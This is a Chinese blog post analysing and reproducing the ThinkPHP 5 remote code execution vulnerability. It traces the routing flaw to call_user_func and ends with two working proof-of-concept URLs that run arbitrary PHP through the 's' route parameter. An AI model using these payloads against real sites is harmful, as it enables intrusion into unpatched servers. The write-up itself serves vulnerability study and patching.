前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >thinkphp5 RCE分析及复现

thinkphp5 RCE分析及复现

原创
作者头像
Deen_
发布2018-12-14 10:27:29
4.9K0
发布2018-12-14 10:27:29
举报
文章被收录于专栏:Deen的代金券日记

前言

tp5最近爆了个rce,最先看到是在斗鱼src公众号上发的分析文章,这么大的洞,到了第二天那些什么安全网站连个预警都没有,估计tp5的站都被撸穿了。

搭建tp5环境

这是漏洞的修复https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815.

  1. https://github.com/top-think/think clone下来
  2. 再cd think文件夹 ,clone https://github.com/top-think/framework,文件夹名字改为thinkphp
  3. 再进入thinkphp ,代码回滚到修洞修复之前

分析

可以看到,修复之中是对路由加了一层正则匹配过滤。我们直接定位到有漏洞的代码。

App.php

以反斜杠\开始时直接将作为其类名。

再跟进parseModuleAndClass。

App.php

controller调用了parseModuleAndClass,再跟进controller

module.php

回到实例化控制器。

熟悉tp的人都知道,tp的路由信息还可以同过$_GET's'来传递控制路由。

POC

我看斗鱼src公众号里文章里是利用了Request类的input方法。

直接跟进input函数,函数本体是没有问题的,发现调用了一个过滤函数,再跟进。

很明显知道最后调用的call_user_func来达到任意代码执行的效果。

poc如下:

http://127.0.0.1/public/index.php?s=index/\think\Request/input&data=phpinfo()&filter=assert

再给一个:

index.php?s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=var_dump&vars[1][]=111

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 搭建tp5环境
  • 分析
  • POC
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档